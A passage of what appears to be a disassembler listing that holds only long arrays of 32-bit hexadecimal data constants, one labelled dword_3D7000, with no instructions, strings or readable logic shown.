		dd 4B40E3FBh, 0C35A7988h, 91F0ECC8h, 4FCC1141h,	60CEE9CCh
		dd 54C3CCDEh, 0C9F42298h, 0B451E35Dh, 747787FDh, 0F1CD5549h
		dd 965EEAFh, 0C7BDDE17h, 347F69CCh, 8B724C45h, 50D9D93Ah
		dd 57A1A90Dh, 7BF712E0h, 0BA2B1AF1h, 0B32AFDD4h, 65D9258h
		dd 24F33E31h, 2C27ADE8h, 1CDC026Dh, 0A29844DBh,	6AC8BF50h
		dd 0CD70F659h, 0D122122Fh, 0EC60CCB7h, 88F98103h, 2BA2E815h
		dd 0D21CA34Eh, 0AA36C88Ah, 67B1AE85h, 0B6B4F02Ah, 4F47F0A6h
		dd 0FCBE4D71h, 13A092BFh, 431FC76Dh, 0A846ED44h, 0A49A2403h
		dd 565752Eh, 8AF8F7CBh,	106A32AFh, 0BB83E42h, 0B21E8618h
		dd 84AF9449h, 0E15E7A77h, 0B80FE3Bh, 76846867h,	640F5DF6h
		dd 66268FDh, 9E5E8E20h,	0A0EB953Bh, 0D2E13EF6h,	59B2AFDBh
		dd 3A422D67h, 93D71C1Bh, 0F843BEBEh, 19261B57h,	3F7E3308h
		dd 0E1B95520h, 727CB7E2h, 0C5577D27h, 0FE77FCB5h, 19E08D89h
		dd 0C566DC5Fh, 91CF5F98h, 0BC5689BDh, 9D4B606Ch, 0FCEBE0E2h
		dd 99255BB9h, 0E685B9Ch, 98B58CB4h, 983EB2E3h, 8AE6AA07h
		dd 4F760BB4h, 0DE896ED9h, 20020B42h, 8B6D55FCh,	0F7212908h
		dd 0FD546993h, 43792BF7h, 4EABC3B5h, 0CCA19548h, 2287C622h
		dd 5583AAA3h, 860F3EB6h, 22AD4224h, 0FA500752h,	4307CC3Ch
		dd 55A01FF6h, 0D2886C8Ch, 9F99656Fh, 7B61D738h,	9818E285h
		dd 0AD63DACh, 0ACCC7398h, 6AE6B0B7h, 6F6F1A33h,	0C6B01FB8h
		dd 8E9DFCBFh, 0D7E810E1h, 82C26EFCh, 0D2983308h, 5B544229h
		dd 7BE1E6BFh, 0BD08A570h, 24C039E0h, 977480E9h,	3674BFF6h
		dd 0D938F1CBh, 76428524h, 0DD9333EAh, 1B5DEFA2h, 15AED810h
		dd 5B334476h, 0B3FD0BDBh, 0D72669A2h, 3B6AFC63h, 96589441h
		dd 37A1962Eh, 0C7B155A2h, 0F814BC02h, 0AFB5B76Bh, 0E7FA5F4Eh
		dd 35B458A3h, 5DBBCA60h, 31778B13h, 1B662F9h, 0C2BDBED6h
		dd 0E32172CCh, 0E8DB2A7Ch, 94742688h, 5A3C022Bh, 4B57754Ch
		dd 99760055h, 0F10896FEh, 0F6EDAECBh, 3FDEBB80h, 0BF193C55h
		dd 91317B78h, 6F17E38Ch, 0D68C9698h, 69CF8C07h,	0B7186AE5h
		dd 3511C726h, 7BF7E3CBh, 0E767DF67h, 189AE615h,	0D4462F92h
		dd 4D251670h, 22945895h, 17E31737h, 79C00792h, 1B5C5240h
		dd 6A493493h, 41878518h, 0B797B118h, 3501C499h,	0FE5C1A3Bh
		dd 2A8B28BAh, 0DFDC8DE4h, 0B55A65F4h, 4AE32028h, 54A984ADh
		dd 0F9B6437Bh, 0FE2AFC9Fh
dword_3D7000	dd 0A64D3515h, 23A517h,	7693AE34h, 0A857CF7h, 9C888FDEh
		dd 0C261112Fh, 0D3064C2Ah, 0C72FDBFDh, 68153303h, 80EE1F4h
		dd 0C846A8DAh, 29733643h, 341A5289h, 67FBB07Fh,	7BDF4598h
		dd 1F417BB3h, 0CA8186EEh, 3F35C05Dh, 0CA496027h, 0D70D693Dh
		dd 77D153F9h, 4733B755h, 8CFA4E64h, 8980ECDAh, 0DE34AC9Ch
		dd 0DD1AC932h, 0E83137F4h, 6E667774h, 10C66619h, 30845386h
		dd 0BDF0A5AAh, 0FFEB192Ah, 0E87FD9AEh, 6AD1E045h, 0B6FDD2D8h
		dd 5BAE43D7h, 54DB6EEh,	991EFA30h, 0C7028398h, 6DECDF42h
		dd 4B4451E0h, 68CBC344h, 0B2C18C02h, 2FAE69B6h,	0E0B24B3Fh
		dd 0A9B1CF02h, 14F81B31h, 0EBFA225Ch, 4AC97CF8h, 0B68D0DB3h
		dd 0F861EE2Ah, 0ED76367h, 2FA72591h, 0E8D40F2Eh, 8313F24Ch
		dd 0C8983842h, 80777242h, 35FDE8A7h, 6FCF6DA3h,	99DA9A79h
		dd 0FDA24354h, 0F638B7E6h, 2AC32EF2h, 0B6486002h, 0C369E505h
		dd 30B74E85h, 94B91E59h, 99645EA1h, 0F459C751h,	0E7B16A12h
		dd 4D3006A1h, 33FF7A2Ch, 0C4C3CDD9h, 85DDAE56h,	441582EEh
		dd 8CB9E58Bh, 281EB9DCh, 0E9FD0F2Bh, 0F8CFD892h, 0B2F94EB4h
		dd 6BE40946h, 0CD439D84h, 0EF71D42Bh, 4855D7DAh, 1C890EA1h
		dd 0E7011F33h, 0D7CB08BBh, 41387ABh, 0D745C20h,	0C2A6C43Fh
		dd 0DDAF3CA2h, 1CE6A7A5h, 65E171E6h, 5B43474Ch,	750E1F6Eh
		dd 4767106Bh, 0ADE2D01Eh, 0B2775BD0h, 252025h, 428EA9DDh
		dd 81E25A65h, 66C83359h, 0AE89363Bh, 8754F01Fh,	0E90A0B78h
		dd 0A5C8D188h, 9380EEE4h, 0D8E58CDCh, 0B061DE81h, 5553D9A7h
		dd 0E4855697h, 0FEC7FED5h, 0F40577Ah, 2576FAF5h, 24125EF6h
		dd 5D97EC02h, 9504D505h, 1FACADFFh, 3746EB00h, 0E9F52960h
		dd 0FA30F776h, 0BB68C614h, 4FED7177h, 12BAA686h, 0A2AC4BADh
		dd 168E3387h, 0E5D77E73h, 236DFB20h, 0F2D2BD69h, 0E3BC2AFAh
		dd 0D2738F0Dh, 90CA513h, 0CBCD37E2h, 0CF1BB8F5h, 4BEADB3Ch
		dd 1737FB18h, 0B36C163h, 366720E0h, 7843266Dh, 3B8FDAC0h
		dd 971621F4h, 94D5CA84h, 560D5D50h, 0F93F9353h,	5920DED1h
		dd 972BE15Bh, 25211B96h, 707EA59Ch, 12DD695Fh, 4CCAC3E9h
		dd 0BF88E1E5h, 0C3006C2Fh, 97BBA9A0h, 8CF6A346h, 77D6FBE6h
		dd 0EA8590FDh, 0B1518597h, 9441AB29h, 643753D0h, 0FE8AB68Eh
		dd 4A445422h, 0FFBEC8E8h, 4CC239CEh, 7B4FB44Ah,	87DD0C16h
		dd 0EB6968FDh, 98EF55E5h, 437177DEh, 0A4891F53h, 0A0C9FC74h
		dd 101F9920h, 0D6CC787Ch, 0C0F49E96h, 0E11D4C84h, 61E65AF0h
		dd 960DA824h, 0C5B754A2h, 44C6203Dh, 0CCE49E9Ch, 4A962B42h
		dd 0ADFF0AEAh, 0A78BCB61h, 0EC229686h, 0A15A9E34h, 5C3309F8h
		dd 0E7B9E65Bh, 0C3DB4AB4h, 0AD8CC9D5h, 0BB4AC18Fh, 8C127614h
		dd 0F14FB7B9h, 100B2E7Eh, 0C7BA2129h, 660B5A86h, 0A52DC00Ch
		dd 0F3A04396h, 3759A6B8h, 0E0B8FC1Ah, 0F47CFBB9h, 97705D6Fh
		dd 6E21822Dh, 0C91455C0h, 0E2C2CC5Dh, 44218BA5h, 9ED9136Eh
		dd 0EE2E8410h, 190375BAh, 3787C8A7h, 0F386993h,	0D3707340h
		dd 0FA6E50ADh, 0F0CA7E26h, 0AACAE13Bh, 661FA397h, 7112476Fh
		dd 6256651Ah, 0AC5153h,	9C0875D2h, 0E54B3D49h, 2DCF8372h
		dd 2E596B21h, 192200A6h, 39D031D8h, 0DEC3FF44h,	4DD24EE4h
		dd 0DCB42FEDh, 0F9B5C774h, 0E0282D4Eh, 0E7E5E19Eh, 0F07D9F4Eh
		dd 0F3615294h, 7E8F963Fh, 6F50854Bh, 531F7456h,	0DE663AB3h
		dd 9A339BBEh, 2824C484h, 4243EFDBh, 66D6F4E7h, 7786A5A1h
		dd 62C4F8F3h, 69210272h, 0F000526h, 3AF64D6Bh, 2A67F540h
		dd 74A3FEC2h, 1F555AF0h, 97C095E8h, 0CA583488h,	0C35EE5ACh
		dd 0CC3ADD9Fh, 25F376B5h, 4A69A789h, 8953000Ah,	4DF5EC5Dh
		dd 80AFDAD5h, 3F7C60B8h, 0B27732Dh, 5C5E97F2h, 5EB24359h
		dd 2C57B8ADh, 0B33C798Ah, 50CC756Bh, 0D2363B6Bh, 3E63943Dh
		dd 0E899179Ah, 8101DD57h, 65584958h, 2E34A02Dh,	0C32E1DDCh
		dd 0C3EC8E84h, 0AC1BA553h, 0AB8C8FF1h, 8198AA58h, 0AD083F3h
		dd 0E01B134Ch, 0F47DC228h, 45B0B4D1h, 705667Dh,	2A9D7B1Eh
		dd 0B0A302ADh, 2FA9114h, 4F47C453h, 86C0A044h, 0E5D0FB5Ah
		dd 68F618A4h, 23031FBCh, 0D28054F0h, 0A18B1DB3h, 0B22AE4D2h
		dd 6758E730h, 0CC89071Ch, 3385FED7h, 3A95E36Ch,	0C2DF3879h
		dd 9211E64h, 48ECFC6Ch,	0A9517E21h, 1C02F2B3h, 8856A260h
		dd 1F568472h, 1502D3D3h, 5EA3330Fh, 3FB4EDF8h, 3BA4D488h
		dd 0B79E0CBCh, 38F00727h, 0F89FE9B9h, 0FB4B65C2h, 5F55E108h
		dd 3B0A1232h, 75FAC107h, 5A82ABAAh, 0A117F666h,	9BB34EFh
		dd 0E50463B7h, 0CB366E72h, 895BD7DAh, 765F178Bh, 0D68837D8h
		dd 0C2347670h, 0A9502B30h, 0E2E6D573h, 90F84440h, 65CB18BFh
		dd 0FD416C90h, 0B64079D0h, 0E495EFh, 9199831Dh,	15388BA6h
		dd 8B410C2Ch, 0E75203F7h, 5352E353h, 0F5A18533h, 7D1077FDh
		dd 64B086A3h, 874D481Bh, 0F881A00Eh, 0E508F4BCh, 95786882h
		dd 66E48895h, 8AF23CB0h, 0A2074C80h, 0B8291164h, 0EF2834D4h
		dd 3875B8F5h, 0D22EBF8Eh, 9D7E3D48h, 8D99B685h,	0CBCA11A7h
		dd 0F1C218E0h, 1F9178FFh, 36B78AFDh, 364D35FCh,	9BFF40ECh
		dd 0DEDBFB49h, 637F96h,	5EA7FE6Dh, 6F3CAAD7h, 736005ADh
		dd 18071D36h, 9B7D2849h, 1FAD5E5Fh, 0BDB3ACEAh,	0C5BF338Ah
		dd 41FC280Dh, 63787F15h, 170AD199h, 0BAAE9E86h,	0F3C2F54Ch
		dd 0DA5E6E10h, 424F1539h, 43CF6D25h, 0C3465ABAh, 672D4DC5h
		dd 48B1B210h, 0E9C88475h, 18CF8EF8h, 0F73FB692h, 7F75D01Bh
		dd 0CC6CE136h, 0C779E59Fh, 828476E3h, 6BCD3DC3h, 0FEB9C8FBh
		dd 0C3C6BE39h, 6B8EFC69h, 0A0EE4083h, 5DCCC355h, 0DB3CCA6Ah
		dd 0AADEAA48h, 0C7755918h, 9734F88h, 1678A474h,	33ACCF66h
		dd 0C2C38318h, 0A7D071EBh, 7889BF23h, 3E893854h, 0B04CD2A8h
		dd 0AA9D3434h, 0D11F1D95h, 45308578h, 0A8798D99h, 12F02EB8h
		dd 7A492248h, 211688ABh, 5272A5AEh, 0BF0F3165h,	24419B37h
		dd 4CAA0A40h, 4681836Ah, 8F8199C8h, 0E1C6D3BCh,	7B47CCFCh
		dd 4BC19671h, 0F3E05AD2h, 0A0740685h, 0E2659A92h, 7BADE35Eh
		dd 922EA4C9h, 95281445h, 15FF054Dh, 1DED8DADh, 2C90CE33h
		dd 93D1CFDDh, 8D70966Ch, 0D347802h, 0B028FEBAh,	0F08066FEh
		dd 0CBC103A4h, 0F23092B7h, 2E7DE4DAh, 0EDFE5B52h, 8D055997h
		dd 86EC9E78h, 89C64B98h, 0A7ED44E3h, 884ADD80h,	6B767E92h
		dd 0C9324A57h, 898C144Eh, 4B98BDBCh, 29E629CBh,	31676C94h
		dd 666DD253h, 6D4D7E32h, 0BCB05626h, 835B4B7h, 9478C0FDh
		dd 0FD5EB4ECh, 0B44CB0B5h, 0C9C975DCh, 39D282E7h, 71A34351h
		dd 0CEF9C5BDh, 0F8A73A09h, 0CB3F9FF1h, 0A8E89733h, 16D1133Ch
		dd 7B481AC8h, 2B1EAB53h, 0DBD651AAh, 0EBBDADC1h, 3BA398E6h
		dd 0CC8FAF83h, 0CC1CC636h, 7424C9BEh, 0AAE50858h, 8848FA5Bh
		dd 0A46B6F72h, 34882285h, 12C44638h, 913A73FDh,	0C66D2F8Ah
		dd 2BD4DE88h, 481BF5B6h, 0B4D94A48h, 68DDA0E6h,	7E3292C5h
		dd 9929A747h, 2B3E5B87h, 76B23B81h, 43AFD86Fh, 0A9EA316Fh
		dd 59BE666Ch, 6166C201h, 69B2FC92h, 342E2238h, 7EE44B9Ch
		dd 0A37E3382h, 2EDC6D46h, 33699086h, 0D59FD324h, 0C2B48DDAh
		dd 0BCD92BF4h, 0AC9E0ECFh, 272A421Fh, 0E215ABA9h, 0FAE3AE63h
		dd 68D5ED80h, 9BD3D510h, 0ABB11381h, 0D7F35EE6h, 0C9B55F57h
		dd 7945D651h, 46403B2Ch, 7B4FB45Bh, 0B044E721h,	11BD8D4Bh
		dd 0C64879D4h, 0F1060994h
		dd 0D5B9E7EFh, 0C325B200h, 0EB6D6A2Eh, 7E042B60h, 7C70656Dh
		dd 191637D4h, 206835B7h, 304E118Eh, 0E1479E5Ch,	65656F38h
		dd 0F864E640h, 0DBF27185h, 26795836h, 41C222EBh, 0BDA1FD08h
		dd 0DA7C7F42h, 30FB61C0h, 8010F24h, 77531C93h, 0D3A3C539h
		dd 0D695DC6Dh, 222BDCEDh, 0E47AF241h, 9DD26E9Ah, 2F3B4E6Fh
		dd 0B8E5634Ah, 19C1BD9h, 0CC8C770Bh, 0BDC3A800h, 13C05A0Eh
		dd 0F36E17FAh, 5F34B8D5h, 0EB445436h, 70CBD6D4h, 8C16B0E4h
		dd 91801BEh, 5E288419h,	1F52833Fh, 2C245893h, 0E6CBBAA1h
		dd 516536A7h, 659BC12h,	762F5718h, 1CAF2922h, 0D02AB991h
		dd 2E72DECBh, 7D2BDE0h,	43702C10h, 0B37E7E04h, 0A495F9BFh
		dd 79A4988Bh, 0AAC9B3B1h, 0D9561102h, 0C460BCC9h, 0B7A7BD13h
		dd 4ED29E65h, 906BDF09h, 0CA4876D9h, 0C2A0D9F4h, 1FF41BC0h
		dd 8DB8F341h, 0D12F2E1Bh, 0A9239871h, 8D01BA1Bh, 8C8F7641h
		dd 7B051C82h, 0A4C61449h, 397A8CBBh, 0C5936E95h, 5A9E84Bh
		dd 3C89D7CEh, 3C840952h, 768497D0h, 89D5E9E7h, 0DA093B7Ch
		dd 3941B8DFh, 79B7A08h,	0EC53EE90h, 0D96EF725h,	0A3A31021h
		dd 90EFD4DAh, 0A4CB571Ah, 43D21049h, 0F292F49Dh, 910CB246h
		dd 47EF3624h, 0C9C14AB0h, 0E40CA06Ch, 1598D37Eh, 0FA39077Fh
		dd 0AE3447E2h, 0BA5006BBh, 473CC1F9h, 2591A66Eh, 2DB56E80h
		dd 771356E7h, 7CFD7140h, 5A7F5D27h, 0ABC8409Ah,	0D76BA3F9h
		dd 651BF0F6h, 35AA3894h, 3FEE0352h, 0D927B459h,	8C7B9337h
		dd 0DAA0948Fh, 0ADFB0F5Ch, 0A2C5679Eh, 52739B3Dh, 0D91F78CCh
		dd 29EA55Dh, 644DB92Fh,	0DC0E44E5h, 0C66D0667h,	82462226h
		dd 0AA7D0025h, 0A6291D22h, 31248D30h, 0B8A6EA1Dh, 0B8FBD0Ch
		dd 792C9413h, 0CC8C5EA7h, 25779B5h, 0E4DBC82Bh,	0A24D8D96h
		dd 0C7A6D9DFh, 2676D670h, 0A172B6A6h, 4B02C72Ah, 0FED95D3h
		dd 20A712D3h, 8D719269h, 8D9371FCh, 8EF83929h, 0E75F2227h
		dd 692C73FEh, 0FFD8F22Dh, 7FFFCD6Eh, 25E518CBh,	4F9DAADCh
		dd 0E83A16CBh, 0C69F98A9h, 8D7ECB75h, 2F5B965Eh, 113FAE1Fh
		dd 0BE2F76D2h, 750229B1h, 3F191622h, 79BB85C1h,	63219C7Ch
		dd 0B4A6EB16h, 0DD3DA4EAh, 32B942EEh, 0AFC14DB8h, 389504FAh
		dd 9155128Ch, 0A95E0910h, 0D5BF938Fh, 241D0A73h, 60F7029Dh
		dd 0EF4BFA91h, 88F3E139h, 335A1875h, 2B729Bh, 36757E83h
		dd 5A20F9F3h, 0F2230236h, 9A129022h, 630FA3D0h,	0DD14D818h
		dd 72EEE00Fh, 92DBDD8Ch, 930ABD40h, 0A05113Dh, 874464Ah
		dd 0D258DF34h, 28CFB525h, 31F86811h, 44C07F83h,	12770F7Bh
		dd 6BAC7CCh, 0D26D0413h, 6795E886h, 42E1790Ah, 2F4886C8h
		dd 149EF731h, 8E75E6DEh, 0E0DE3D37h, 0FD705E77h, 8B2EDBE2h
		dd 29748298h, 6A7DFA84h, 0A537FC9Fh, 733C1CC7h,	6361170h
		dd 0B25472CFh, 0A2EEBBCh, 3B4DAAF0h, 91329031h,	6F06B53Dh
		dd 0D60A7FAh, 47ED4891h, 0C1DF4298h, 0D2BA71A0h, 0B728397Ch
		dd 27A1C409h, 8E158296h, 5C7A94E0h, 24D647CCh, 0E900B28Fh
		dd 0F5D5E263h, 9D2A0E03h, 3DCBED9Ch, 0C2D81A2Ah, 0A93F9422h
		dd 89698C4Dh, 60F3528Ah, 63235FC1h, 2D6D9EC9h, 0FF3349C4h
		dd 5B8E2831h, 5E80CE36h, 42DFAFCBh, 55B45BEDh, 0AB0B276Dh
		dd 49AF18B3h, 6B64146h,	22AF5D05h, 2DAC8FB6h, 0BFB70F56h
		dd 29D94962h, 4ABFFE6Eh, 6FDD1D94h, 292C8EF4h, 0C8E06B5Eh
		dd 0C52CD6EBh, 0F5FA8CD1h, 6BCCCB92h, 0F708EF80h, 36ADB6Bh
		dd 1131BBB0h, 593D6C58h, 0B2B6734Dh, 7892B9EDh,	2C75B435h
		dd 1E6551EEh, 8BA79E98h, 0B03D7F9Bh, 463490E9h,	102EDA11h
		dd 2E9088C9h, 38EABE42h, 4CE7066Fh, 4B11E76Ah, 911985Dh
		dd 71BE2C6h, 69D634B5h,	6966CF9h, 6FDF5EA6h, 79C8C769h
		dd 4FAE72Ah, 0D0BBEB3Eh, 0B4858E7Bh, 69D1A60Ch,	17B67798h
		dd 0DD602EA9h, 0A1F59C2Ch, 0B7C3B1F7h, 68C08CF1h, 25A646ADh
		dd 23EB9FEDh, 1DD0C65Fh, 0E0CC7D53h, 0F482B39Fh, 57DAC314h
		dd 48F1CE85h, 79B63373h, 0B576E3Ch, 1B9B8FE6h, 7E8054A5h
		dd 74629736h, 256239ADh, 0BE0C0313h, 0AECDC8D7h, 0E5FA00ADh
		dd 53F0AD77h, 0E1323368h, 6999BD54h, 0D8E8789Ah, 0DD52359Bh
		dd 9A744A63h, 50A33712h, 1C0EE804h, 754F1994h, 66B0DC9Ch
		dd 3C2F7267h, 0C8266A0Fh, 9DC58B6Ah, 70BA9AA1h,	0E2937E12h
		dd 0F15BD3FDh, 2BE704Bh, 0CE2E3B20h, 0FFC324Bh,	1147C6EEh
		dd 7EF73317h, 96B23DD9h, 7C6E3F33h, 0B60E0721h,	9BDC91BDh
		dd 58313CE6h, 0DEE2BED5h, 2C031853h, 0A1B013A1h, 59F35E84h
		dd 0BCD95C50h, 5B0BA4E6h, 0E48807EEh, 9BBD11h, 4B37C3C1h
		dd 952A96CCh, 0F54B9D7Eh, 0DA6FEF88h, 5F559DACh, 764F93B3h
		dd 3ADB7B4Eh, 3CD9DE1Eh, 4A3FF568h, 75E3FBABh, 0A570BBA8h
		dd 83165102h, 3BBF103Ah, 2F61131Bh, 0BD93DEDFh,	6D0DAA17h
		dd 20B82165h, 5773B70h,	819875B0h, 44092C34h, 9E564FEBh
		dd 9C1EE05Eh, 0F7986CE3h, 24936A59h, 642F720Ah,	5661E1B2h
		dd 0EBE47DB3h, 79437EBDh, 6F9BF21Eh, 6206D42Ch,	0CB582626h
		dd 355FFA2h, 84E55901h,	37103DBFh, 0DD6513BDh, 0F2855CE6h
		dd 0E6C2AF8Ch, 49FCCF3Eh, 0AA547FB4h, 974545DDh, 1FCD8C4Fh
		dd 9C85091Fh, 9760D5F0h, 83C838AFh, 68ACFDD6h, 838591F3h
		dd 99AAACEh, 18628368h,	96A9E689h, 90B83362h, 7D3A6A06h
		dd 0E57BC7F5h, 4A8FDFEEh, 0D800AC96h, 0C39E2D55h, 0C3CA46DDh
		dd 3F552A52h, 4242A59Ah, 12FAD1ADh, 0BDBB04C6h,	18AE5C6h
		dd 0DAB2AAB6h, 4654805Dh, 0EAC379F5h, 0FB70F7F6h, 682D73E1h
		dd 70774FD5h, 202BCD62h, 11CB1E9Eh, 0FD0C5F5Ch,	0AACAB38h
		dd 5E9B97EDh, 0FB143D9Fh, 0D50C5B7Bh, 6BA18BEh,	0B142848Ch
		dd 681D84BFh, 0C15C3EB8h, 65B0342Eh, 0CDC54BC9h, 90048D89h
		dd 8136B2C8h, 16B7AC33h, 7888CEE1h, 6B7F0E8Bh, 0CFD7A262h
		dd 1C0F04BFh, 40343BBDh, 0C8A475FDh, 0EC074F8Ah, 3BFE84A6h
		dd 78965017h, 0B276F842h, 30B732C9h, 70E5F8DDh,	7382BF8Ch
		dd 43BFD307h, 2668621Ah, 4BE70F5Ah, 0D5CF0CFCh,	0CF5A5481h
		dd 0D23FDE0Bh, 0F20418F5h, 0E42A8726h, 5B6D6C80h, 0EAFF36E4h
		dd 240BDCE9h, 0BA444Eh,	6D34EF59h, 5F8055Ch, 1C3BDF65h
		dd 2A04BD38h, 1A2BBEC2h, 5177BA4Eh, 9B707DB1h, 823B29BAh
		dd 94AAACDEh, 0CA0CBFD5h, 2D41CF59h, 0FB12AC26h, 0E80F7FEBh
		dd 0FEA412D3h, 1CDDCC03h, 0BE5134F2h, 845EEE0Eh, 0A024D993h
		dd 376368FFh, 0C001166Eh, 647FD627h, 0CFEC10EDh, 1D3371EEh
		dd 0FE8E66F3h, 0BC3A79E7h, 422AA996h, 0F4F489E6h, 1D7C7BF4h
		dd 0F152C6E4h, 0DDAD386Eh, 0CE1A006Ch, 229798BCh, 0EDF227BBh
		dd 0BA4FDE8h, 5943931Eh, 0A542C297h, 92D8B33Ch,	0FB56E5Eh
		dd 96333CF5h, 0A94CF869h, 4824AA31h, 380CBEB9h,	32FC5C30h
		dd 9149B476h, 46FA9934h, 83F7D851h, 8991A9A3h, 0FEFE3306h
		dd 7AFD8B62h, 2EB5BC68h, 9EFADD9Ah, 54CF7CEEh, 6FEDD10Fh
		dd 73B7C088h, 9BC747ECh, 0E549F8B2h, 0E63C9215h, 60A98090h
		dd 2490E881h, 0B1C12329h, 4738B52h, 87EC8832h, 544847BBh
		dd 3F38B57Fh, 0CA8764CFh, 0D9818B9Fh, 10A56575h, 0F1C651A7h
		dd 0EDC8F328h, 0E3B03EC3h, 0FEF4046Ah, 0CDC25B8Fh, 0C3A9F790h
		dd 635D0883h, 11942EB8h, 0F9BCF06Dh, 0F1E138D6h, 7A6341Bh
		dd 72C6D739h, 2836F63Bh, 0DBAA9DDCh, 0B2285E50h, 93FA6E90h
		dd 74EE9Bh, 7322CE05h
		dd 57F4AA5h, 9426080Fh,	0B4A01B0Bh, 2CE50232h, 6052B120h
		dd 2AEAF25Dh, 2E3F767h,	89531D0Ch, 330D9718h, 0B751958Ah
		dd 0A3CA847Fh, 6C8F555Dh, 869A5C24h, 208831EAh,	5CA88486h
		dd 0C05CC6CEh, 0C3F6D90Bh, 6C8BD033h, 9368B9B6h, 0C9781BB2h
		dd 908671F0h, 6E40EDFFh, 37BD5058h, 0F7A78FECh,	0BF163C8h
		dd 0C90DA169h, 9EB59BEEh, 0E86AE0E7h, 87528268h, 0AEF6BBE8h
		dd 0B1095268h, 0E46DA4FEh, 4CA30F94h, 158A2A1Ch, 67607C0Ah
		dd 0EA1436AEh, 0DDBBFE7h, 6FCC947Ch, 0FC7D7636h, 2771A68Bh
		dd 2BD53A71h, 258A76C9h, 0BD62D709h, 4D990C52h,	0F907B151h
		dd 6B380C0Fh, 0C62716F4h, 0CBBA465h, 322650B3h,	0CC99E5C6h
		dd 6CA0FA7Fh, 0DAB072h,	85C69771h, 0F58E4A5Ch, 2DC0AC5Ah
		dd 37C8E52Eh, 5C23A94Fh, 9C6F450Ch, 384D5E90h, 0BFA69C22h
		dd 94E9C93Dh, 3C86EB41h, 528A9DDFh, 7B8F4EA5h, 0CD397C3Fh
		dd 57153EDAh, 6619EB96h, 0E47E6D80h, 0D8159C7Dh, 0E98931FEh
		dd 0AB4F25D5h, 0A77CE669h, 5573711Eh, 99C75D3Ah, 893CB4AEh
		dd 927B8E48h, 0BC607806h, 0D2511793h, 0E9C22090h, 4B34BC26h
		dd 81AE2939h, 5DCD8E58h, 2E967D9Dh, 0BD99BD45h,	0F54156BDh
		dd 288E099Ah, 5C006BCFh, 3BF2B893h, 0AF302BBh, 6459DF7Bh
		dd 0C95131F5h, 7D58A503h, 6FB5735Fh, 0E1E1A919h, 7C2DA8ABh
		dd 888ACBBBh, 42536A7Eh, 22B42D0Fh, 8610F945h, 7CFD53D3h
		dd 0FF265343h, 0CDF2773Fh, 3CFB2D27h, 3C389034h, 0B0605529h
		dd 3D33DEFDh, 284228F1h, 0C871653h, 3623C221h, 80AF85CBh
		dd 0CDFD1A48h, 60613943h, 0EE4C56B1h, 0D85EC725h, 90C7A840h
		dd 63199BC5h, 2D072E88h, 110422BAh, 79A2FB5Ch, 59F17294h
		dd 0C370405Bh, 902FEAA9h, 0CD7CE331h, 0EB503673h, 0A1688592h
		dd 28CDCDE2h, 0BA7AE487h, 4BC93687h, 5335F111h,	7C0CA1D9h
		dd 2E12A40Dh, 80271616h, 0EF508716h, 0A368949Ah, 0FAC9615Ch
		dd 0E2C2DD56h, 0E0CF1DD9h, 33B64A87h, 978376E1h, 0A8B7FD46h
		dd 0A9B29372h, 0D4C5F8B1h, 0C931536Fh, 0C9344D7h, 9374FD59h
		dd 880E8683h, 2271BAEBh, 0AC2C3274h, 0AACC06E6h, 1A45767Bh
		dd 0CF96CD3Ch, 86519F7Dh, 0E366D5Bh, 5B1D97F7h,	6E146566h
		dd 5C1B102Bh, 0AD47AB5h, 357FBC4Dh, 5EEDEFAAh, 0A99285C4h
		dd 0E60F67EDh, 67E573CBh, 683AD5E2h, 6BB57274h,	0B89D7EAh
		dd 0FA3B55E4h, 19143AEBh, 88ABD5D4h, 71D7B199h,	540C41BEh
		dd 92FAFFDAh, 95823692h, 51AFE07Bh, 0F4726310h,	0C885C4A9h
		dd 9C9088B1h, 0F2CC3484h, 751E37E4h, 0AB7ABF25h, 0F77B62FAh
		dd 0A04B25D1h, 7488C96Ah, 0EC4E6283h, 0EA2FA4BFh, 6C9921FBh
		dd 0ED657BE1h, 0EA83BF51h, 0BF4B91FCh, 38F92A6Eh, 30A9A16Eh
		dd 229B2AE7h, 0A4C083DEh, 8D565A52h, 4C11F694h,	0E899150Bh
		dd 0C6A1119h, 7FEFE08Dh, 26FFA6A5h, 154BE773h, 766924E0h
		dd 27DB1DA2h, 3612C930h, 2E0EE4C3h, 4346223Ah, 0C5AD7909h
		dd 36091B59h, 73958CE7h, 159B71CEh, 0A8F6307Dh,	747DA2B5h
		dd 0E444CC5Dh, 676F8AC7h, 2C169FDEh, 50FFC21Ch,	3776E8CFh
		dd 9006EF86h, 9F3685E1h, 0B944D5B2h, 0E029B698h, 2613ED36h
		dd 0B07C4D1Dh, 0C4FD2BBEh, 0A90926A6h, 0F934003Fh, 2ECC9D74h
		dd 804C9F40h, 0DD81EEDDh, 3922670Dh, 0FC467Fh, 0C99D4126h
		dd 0CF471948h, 0FB073E0Fh, 25107D40h, 6136AB02h, 0A394C728h
		dd 5EB75BF0h, 0A9A6BCBAh, 0E0DAEBh, 8FF4D9CCh, 8D7BF606h
		dd 1C3CAD0Dh, 1D0EA4FFh, 72683229h, 8233B7DDh, 59B5A234h
		dd 0E557C727h, 1E5873B7h, 5492D571h, 0A94DBF9Bh, 8A84424Ah
		dd 67BD8CA6h, 908FA9A5h, 0AEFA5765h, 2AA4BC6Bh,	24CF1F6Fh
		dd 0CA4A6266h, 4F0EFD26h, 5D68E72Eh, 0E8919B08h, 0EA98683Bh
		dd 0D2A27AD1h, 0DCC1842h, 2EC7BF33h, 6917A696h,	0D7BAF09Bh
		dd 0E8CFD242h, 0D77092D6h, 2EC187F5h, 0D94DF912h, 3C03A945h
		dd 0B396FB8Fh, 46BCB3ABh, 1040E334h, 64F52436h,	7981EDDBh
		dd 5055DD92h, 65CA231Ch, 422B4D1Ah, 380AE0D9h, 0A35EEA03h
		dd 35A5F9A0h, 0CB6447BCh, 1179A25Ah, 81EE09C0h,	8E929E5Ch
		dd 4E0AE4BDh, 0DA0429DFh, 377D7984h, 0D7B0ACBDh, 1201668Dh
		dd 947A849h, 0A20655C0h, 57EA4E09h, 8C4CAEFBh, 0B6DDDF52h
		dd 314CD871h, 28A4E812h, 0AFC3B267h, 0FC66D5A0h, 280BD75Ch
		dd 935F6E0Eh, 0FBFAB904h, 13FE97A8h, 1DF05FF4h,	6A71A997h
		dd 9B5FB71Ch, 0B830FF1Fh, 0F044F9E0h, 0FC15F438h, 0E501C2Eh
		dd 0B9B538BDh, 90657B35h, 22E02B5Ah, 498EFD5Bh,	0A796F6D8h
		dd 85F5ECE0h, 58214E77h, 8F3B6B7h, 0B47825D6h, 53590807h
		dd 0D11988F1h, 0C28E0DDh, 68877425h, 0C946536Bh, 674AA5Eh
